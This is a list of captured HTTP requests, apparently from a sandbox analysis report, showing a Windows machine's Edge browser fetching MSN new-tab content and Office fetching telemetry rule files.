Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=26C7834DE9B0666626559677E895674C&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=6686581979505309747&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=957e0dc92f5a4a54e099b73b8b61b62d HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=26C7834DE9B0666626559677E895674C; _EDGE_S=F=1&SID=3725C0F51DA26D161494D5CF1C466C4A; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msDTr.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1u24yb.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /b2?rn=1731843335786&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=26C7834DE9B0666626559677E895674C&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: UID=10C41416f3384a471d2b6391731843337; XID=10C41416f3384a471d2b6391731843337
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=26C7834DE9B0666626559677E895674C&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=6686581979505309747&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=e9e9ea99063a4e44c2b57345baa408af HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=26C7834DE9B0666626559677E895674C; _EDGE_S=F=1&SID=3725C0F51DA26D161494D5CF1C466C4A; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msyCF.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msKEt.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msB1O.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1731843335786&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=dbfc48a00c7f49c1b8860b061f5d2b53&activityId=dbfc48a00c7f49c1b8860b061f5d2b53&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=EF0E439C952A43C2A81A9472C22E3198&MUID=26C7834DE9B0666626559677E895674C HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=26C7834DE9B0666626559677E895674C; _EDGE_S=F=1&SID=3725C0F51DA26D161494D5CF1C466C4A; _EDGE_V=1; SM=T
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /crx/blobs/AW50ZFuKxXfmS97pgdN117JdnzteDOW0nOxXPbIMSOJi_zMXlj_Y84pRZgGX1_WSw7i6yKhrqpdS319KewJbpE_4ZxBd62lsUferdiEuq7Yg9JR92C5gtrLldrMl4JgnY0IAxlKa5RR9kAwB758lMbnQOIDqR06lx1aH/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_83_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
